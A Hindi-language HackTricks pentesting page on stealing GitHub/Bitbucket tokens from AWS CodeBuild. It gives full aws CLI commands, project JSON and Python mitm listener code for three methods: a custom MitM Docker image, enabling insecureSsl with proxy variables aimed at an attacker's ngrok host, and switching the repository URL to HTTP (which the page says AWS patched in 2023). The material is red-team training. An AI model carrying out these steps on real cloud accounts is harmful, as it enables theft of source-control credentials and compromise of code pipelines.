AWS Codebuild - Token Leakage

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Github/Bitbucket कॉन्फ़िगर किए गए टोकन को पुनर्प्राप्त करें

पहले, जांचें कि क्या कोई स्रोत क्रेडेंशियल्स कॉन्फ़िगर किए गए हैं जिन्हें आप लीक कर सकते हैं:

bash
aws codebuild list-source-credentials

Via Docker Image

यदि आप पाते हैं कि उदाहरण के लिए Github के लिए प्रमाणीकरण खाते में सेट है, तो आप exfiltrate उस access (GH token या OAuth token) को कोडबिल्ड को एक विशिष्ट डॉकर इमेज का उपयोग करके प्रोजेक्ट के निर्माण को चलाने के लिए बना सकते हैं।

इसके लिए आप एक नया Codebuild प्रोजेक्ट बना सकते हैं या Docker image सेट करने के लिए मौजूदा एक का environment बदल सकते हैं।

आप जो Docker image उपयोग कर सकते हैं वह है https://github.com/carlospolop/docker-mitm। यह एक बहुत ही बुनियादी Docker image है जो env variables https_proxy, http_proxy और SSL_CERT_FILE सेट करेगा। यह आपको https_proxy और http_proxy में निर्दिष्ट होस्ट के अधिकांश ट्रैफ़िक को इंटरसेप्ट करने की अनुमति देगा और SSL_CERT_FILE में निर्दिष्ट SSL CERT पर भरोसा करेगा।

  1. Create & Upload your own Docker MitM image
  • अपने प्रॉक्सी IP पते को सेट करने और अपने SSL cert को सेट करने के लिए repo के निर्देशों का पालन करें और docker image बनाएं
  • DO NOT SET http_proxy ताकि मेटाडेटा एंडपॉइंट के लिए अनुरोधों को इंटरसेप्ट न किया जा सके।
  • आप ngrok का उपयोग कर सकते हैं जैसे ngrok tcp 4444 अपने होस्ट के लिए प्रॉक्सी सेट करने के लिए
  • एक बार जब आपके पास Docker image बन जाए, तो इसे एक सार्वजनिक repo (Dockerhub, ECR...) पर upload करें।
  1. Set the environment
  • एक नया Codebuild प्रोजेक्ट बनाएं या मौजूदा एक के environment को संशोधित करें।
  • प्रोजेक्ट को पूर्व में उत्पन्न Docker image का उपयोग करने के लिए सेट करें।
  1. Set the MitM proxy in your host
  • जैसा कि Github repo में संकेतित किया गया है, आप कुछ ऐसा उपयोग कर सकते हैं:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

mitmproxy संस्करण 9.0.1 का उपयोग किया गया था, रिपोर्ट किया गया था कि संस्करण 10 के साथ यह काम नहीं कर सकता।

  1. बिल्ड चलाएँ और क्रेडेंशियल्स कैप्चर करें
  • आप Authorization हेडर में टोकन देख सकते हैं:

यह aws cli से कुछ इस तरह किया जा सकता है

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild प्रोजेक्ट्स में एक सेटिंग होती है जिसे insecureSsl कहा जाता है जो वेब में छिपी होती है, आप इसे केवल API से बदल सकते हैं।
इसे सक्षम करने से, Codebuild को प्लेटफ़ॉर्म द्वारा प्रदान किए गए प्रमाणपत्र की जांच किए बिना रिपॉजिटरी से कनेक्ट करने की अनुमति मिलती है।

  • सबसे पहले, आपको वर्तमान कॉन्फ़िगरेशन को कुछ इस तरह से सूचीबद्ध करने की आवश्यकता है:
bash
aws codebuild batch-get-projects --name <proj-name>
  • फिर, एकत्रित जानकारी के साथ आप प्रोजेक्ट सेटिंग insecureSsl को True में अपडेट कर सकते हैं। निम्नलिखित मेरे प्रोजेक्ट को अपडेट करने का एक उदाहरण है, अंत में insecureSsl=True पर ध्यान दें (यह एकमात्र चीज है जिसे आपको एकत्रित कॉन्फ़िगरेशन से बदलने की आवश्यकता है)।
  • इसके अलावा, env वेरिएबल http_proxy और https_proxy को भी जोड़ें जो आपके tcp ngrok की ओर इशारा करते हैं जैसे:
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
  • फिर, प्रॉक्सी वेरिएबल्स (http_proxy और https_proxy) द्वारा इंगित पोर्ट में https://github.com/synchronizing/mitm से बुनियादी उदाहरण चलाएँ।
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • अंत में, Build the project पर क्लिक करें, credentials स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:

HTTP प्रोटोकॉल के माध्यम से

[!TIP] > यह कमजोरियों को AWS ने 2023 के 20 फरवरी के सप्ताह में किसी समय (मुझे लगता है कि शुक्रवार को) ठीक किया। इसलिए एक हमलावर इसका दुरुपयोग नहीं कर सकता :)

एक हमलावर के पास CodeBuild में उच्च अनुमतियाँ होने पर Github/Bitbucket टोकन लीक हो सकता है जो कॉन्फ़िगर किया गया है या यदि अनुमतियाँ OAuth के माध्यम से कॉन्फ़िगर की गई हैं, तो कोड तक पहुँचने के लिए उपयोग किया जाने वाला अस्थायी OAuth टोकन

  • एक हमलावर http_proxy और https_proxy पर्यावरण चर को CodeBuild प्रोजेक्ट में जोड़ सकता है जो उसकी मशीन की ओर इशारा करता है (उदाहरण के लिए http://5.tcp.eu.ngrok.io:14972)।
  • फिर, github repo का URL HTTP का उपयोग करने के लिए बदलें बजाय HTTPS के, उदाहरण के लिए: http://github.com/carlospolop-forks/TestActions
  • फिर, प्रॉक्सी चर (http_proxy और https_proxy) द्वारा इंगित पोर्ट में https://github.com/synchronizing/mitm से बुनियादी उदाहरण चलाएँ।
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • अगला, प्रोजेक्ट बनाएं पर क्लिक करें या कमांड लाइन से निर्माण शुरू करें:
sh
aws codebuild start-build --project-name <proj-name>
  • अंत में, प्रमाण पत्र स्पष्ट पाठ (base64) में mitm पोर्ट पर भेजे जाएंगे:

warning

अब एक हमलावर अपने मशीन से टोकन का उपयोग कर सकेगा, सभी विशेषाधिकारों की सूची बना सकेगा और (दुरुपयोग) कोडबिल्ड सेवा का सीधे उपयोग करने की तुलना में अधिक आसानी से कर सकेगा।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें